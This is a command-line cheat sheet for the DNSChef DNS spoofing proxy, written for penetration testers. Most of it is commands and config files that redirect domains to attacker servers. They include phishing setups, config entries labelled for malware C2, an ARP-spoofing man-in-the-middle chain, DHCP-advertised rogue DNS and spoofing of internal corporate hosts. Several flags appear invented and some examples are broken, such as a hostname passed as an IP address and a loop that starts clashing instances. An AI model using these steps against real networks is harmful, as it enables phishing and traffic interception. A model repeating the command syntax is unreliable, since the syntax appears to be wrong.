DNSChef is a highly configurable DNS proxy server designed for penetration testers to manipulate DNS responses on a per-domain basis. It selectively spoofs DNS records for specific targets while transparently forwarding unmodified requests to legitimate DNS servers, making it invaluable for testing security awareness, conducting phishing campaigns, and demonstrating DNS-based attack vectors.
sudo apt-get update
sudo apt-get install dnschef
git clone https://github.com/iphelix/dnschef.git
cd dnschef
sudo python3 setup.py install
wget https://github.com/iphelix/dnschef/releases/download/v0.4.2/dnschef-0.4.2.tar.gz
tar -xzf dnschef-0.4.2.tar.gz
cd dnschef-0.4.2
sudo python3 dnschef.py --help
dnschef --version
python3 -m dns.name # Verify dnspython dependency
dnschef [options] --interface [IP] --domain [domain] --ipaddress [IP]
| Component | Description |
|---|
--interface | IP address to listen on for DNS requests |
--domain | Target domain to spoof |
--ipaddress | IP address to return for spoofed domain |
--logfile | File for logging DNS requests and responses |
--port | DNS port (default 53, requires root) |
# Spoof example.com to attacker IP
sudo python3 dnschef.py \
--interface 192.168.1.100 \
--domain example.com \
--ipaddress 192.168.1.50
sudo python3 dnschef.py \
--interface 0.0.0.0 \
--domain example.com --ipaddress 192.168.1.50 \
--domain evil.com --ipaddress 192.168.1.51 \
--domain target.net --ipaddress 192.168.1.52
# Spoof all subdomains of example.com
sudo python3 dnschef.py \
--interface 0.0.0.0 \
--domain "*.example.com" \
--ipaddress 192.168.1.50
| Flag | Argument | Purpose |
|---|
--interface | IP address | IP to bind DNS server |
--port | port number | DNS port (default 53) |
--domain | domain name | Domain to spoof |
--ipaddress | IP address | IP address for spoofed domain |
--name | IP address | Spoof nameserver queries |
--mx | mail server | Spoof MX record responses |
--txt | text record | Spoof TXT record responses |
--logfile | file path | Log DNS requests to file |
--logformat | format | Log format specification |
--nameservers | IP list | Upstream DNS servers |
--file | config file | Use configuration file |
--nofile | | Disable config file loading |
--fakedomains | list | Comma-separated domains to fake |
--truedomains | list | Domains to forward legitimately |
--help | | Display help menu |
# Redirect specific domain to attacker server
sudo dnschef.py \
--interface 192.168.1.100 \
--domain www.example.com \
--ipaddress 192.168.1.50 \
--logfile dnschef.log
# Spoof IPv6 address for domain
sudo dnschef.py \
--interface 0.0.0.0 \
--domain example.com \
--ipaddress 2001:db8::1 \
--logfile ipv6_spoof.log
# Fake email server for domain
sudo dnschef.py \
--interface 0.0.0.0 \
--domain example.com \
--mx mail.attacker.com \
--logfile mx_spoof.log
# Redirect to attacker-controlled domain
sudo dnschef.py \
--interface 0.0.0.0 \
--domain example.com \
--ipaddress attacker.com \
--logfile cname_spoof.log
# Redirect DNS lookups to attacker NS
sudo dnschef.py \
--interface 0.0.0.0 \
--domain example.com \
--name ns.attacker.com \
--logfile ns_spoof.log
# Spoof TXT records (SPF, DKIM, verification)
sudo dnschef.py \
--interface 0.0.0.0 \
--domain example.com \
--txt "v=spf1 include:attacker.com ~all" \
--logfile txt_spoof.log
cat > dnschef.conf << 'EOF'
[DNS]
interface = 0.0.0.0
port = 53
nameservers = 8.8.8.8, 8.8.4.4
[Spoofing]
example.com = 192.168.1.50
www.example.com = 192.168.1.51
mail.example.com = 192.168.1.52
*.example.org = 192.168.1.53
[MX Records]
example.com = mail.attacker.com
[Nameservers]
example.com = ns.attacker.com
[Logging]
logfile = /var/log/dnschef.log
logformat = [%(timestamp)s] %(request)s %(response)s
EOF
sudo dnschef.py --file dnschef.conf
cat > advanced.conf << 'EOF'
[DNS]
interface = 192.168.1.100
port = 53
nameservers = 208.67.222.222, 208.67.220.220
[Spoofing]
# Phishing domain targets
login.example.com = 192.168.1.50
account.example.com = 192.168.1.50
secure.example.com = 192.168.1.50
# Malware C2 domains
command.evil.com = 192.168.1.51
beacon.evil.com = 192.168.1.51
# Infrastructure
*.internal.corp = 192.168.1.100
[Logging]
logfile = /var/log/dnschef.log
logformat = [%(timestamp)s] %(request)s -> %(response)s | Client: %(clientip)s
EOF
sudo dnschef.py --file advanced.conf
# Spoof targets but allow legitimate queries through
sudo dnschef.py \
--interface 0.0.0.0 \
--fakedomains example.com,evil.com \
--truedomains google.com,github.com \
--ipaddress 192.168.1.50 \
--logfile selective_spoof.log
# Spoof only listed domains, forward rest to ISP DNS
sudo dnschef.py \
--interface 192.168.1.100 \
--fakedomains phish.example.com,malware.internal \
--ipaddress 192.168.1.50 \
--nameservers 8.8.8.8,8.8.4.4 \
--logfile hybrid_spoof.log
# Enable detailed logging
sudo dnschef.py \
--interface 0.0.0.0 \
--domain example.com \
--ipaddress 192.168.1.50 \
--logfile dnschef.log
# Watch logs in real-time
tail -f dnschef.log
# Count DNS requests
wc -l dnschef.log
# Filter by domain
grep "example.com" dnschef.log
# Filter by IP
grep "192.168.1" dnschef.log
# Extract unique requesting IPs
grep -oP '(?<=Client: )\d+\.\d+\.\d+\.\d+' dnschef.log | sort | uniq
# Custom log format specification
sudo dnschef.py \
--interface 0.0.0.0 \
--domain example.com \
--ipaddress 192.168.1.50 \
--logfile custom.log \
--logformat "[%(timestamp)s] Client: %(clientip)s | Request: %(request)s | Response: %(response)s"
# Setup DNS spoofing for phishing
sudo dnschef.py \
--interface 192.168.1.100 \
--domain login.example.com \
--ipaddress 192.168.1.50 \
--logfile phishing.log
# Serve malicious content on attacker server
# python3 -m http.server 80 (on 192.168.1.50)
# Attacker becomes DNS proxy on network
sudo dnschef.py \
--interface 0.0.0.0 \
--fakedomains *.example.com \
--ipaddress 192.168.1.50 \
--nameservers 8.8.8.8 \
--logfile mitm_dns.log
# Redirect users through attacker web server
# Log all DNS queries for intelligence
# Spoof internal infrastructure
sudo dnschef.py \
--interface 192.168.1.100 \
--domain intranet.corp \
--ipaddress 192.168.1.50 \
--domain mail.corp \
--ipaddress 192.168.1.51 \
--domain ldap.corp \
--ipaddress 192.168.1.52 \
--logfile internal_spoof.log
# Spoof domain while accepting HTTPS connections
sudo dnschef.py \
--interface 192.168.1.100 \
--domain secure.example.com \
--ipaddress 192.168.1.50 \
--logfile ssl_bypass.log
# Run HTTPS server with self-signed cert on 192.168.1.50
# openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
# Combine DNSChef with ARP spoofing for MITM
# 1. ARP spoof target
sudo arpspoof -i eth0 -t 192.168.1.10 192.168.1.1
# 2. Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1
# 3. Run DNSChef
sudo dnschef.py \
--interface 0.0.0.0 \
--domain example.com \
--ipaddress 192.168.1.50 \
--logfile mitm_complete.log
# Configure DHCP to point to DNSChef
# In DHCP server config:
# option domain-name-servers 192.168.1.100;
# Start DNSChef as DHCP-advertised DNS
sudo dnschef.py \
--interface 192.168.1.100 \
--domain "*.example.com" \
--ipaddress 192.168.1.50 \
--logfile dhcp_dns.log
sudo tee /etc/systemd/system/dnschef.service << 'EOF'
[Unit]
Description=DNSChef DNS Proxy
After=network.target
[Service]
Type=simple
User=root
ExecStart=/usr/bin/python3 /usr/local/bin/dnschef.py --file /etc/dnschef/dnschef.conf
Restart=on-failure
RestartSec=5
[Install]
WantedBy=multi-user.target
EOF
sudo systemctl daemon-reload
sudo systemctl enable dnschef
sudo systemctl start dnschef
# Check service status
sudo systemctl status dnschef
# View logs
sudo journalctl -u dnschef -f
# Restart service
sudo systemctl restart dnschef
# Check what's using port 53
sudo lsof -i :53
# Kill existing DNS service
sudo systemctl stop systemd-resolved
# Run DNSChef on alternative port
sudo dnschef.py \
--interface 0.0.0.0 \
--port 5353 \
--domain example.com \
--ipaddress 192.168.1.50
# DNSChef requires root for port 53
sudo dnschef.py --interface 0.0.0.0 ...
# Or use non-privileged port
dnschef.py --port 5353 ...
# Verify upstream nameservers
dnschef.py --nameservers 8.8.8.8,8.8.4.4 ...
# Test DNS resolution
nslookup google.com 192.168.1.100
# Enable debug output
sudo dnschef.py -v \
--interface 0.0.0.0 \
--domain example.com \
--ipaddress 192.168.1.50
# Selective spoofing only
sudo dnschef.py \
--interface 192.168.1.100 \
--fakedomains phishing.example.com \
--nameservers 8.8.8.8 \
--logfile selective.log
# Rotate spoofed IPs
for ip in 192.168.1.50 192.168.1.51 192.168.1.52; do
sudo dnschef.py \
--interface 192.168.1.100 \
--domain target.com \
--ipaddress $ip &
sleep 3600
done
# Return valid IP ranges for targeted domain
# Research real IP ranges, return nearby/similar addresses
sudo dnschef.py \
--interface 0.0.0.0 \
--domain legitimate.example.com \
--ipaddress 203.0.113.50 \
--logfile legitimate_spoof.log
| Task | Command |
|---|
| Simple spoof | sudo dnschef.py --interface 0.0.0.0 --domain example.com --ipaddress 192.168.1.50 |
| Multiple domains | --domain ex1.com --ipaddress 1.1.1.1 --domain ex2.com --ipaddress 2.2.2.2 |
| Wildcard spoof | --domain "*.example.com" --ipaddress 192.168.1.50 |
| With logging | --logfile dns.log --logformat "[%(timestamp)s] %(request)s -> %(response)s" |
| Selective | --fakedomains phish.com --truedomains google.com |
| Config file | --file dnschef.conf |
| Custom port | --port 5353 |
- dnsmasq — DNS/DHCP server with spoofing capabilities
- ettercap — Network sniffer with DNS spoofing
- Responder — LLMNR/NBT-NS/mDNS spoofing
- dns-mitm — DNS MITM proxy
- mitmproxy — Full MITM proxy with DNS support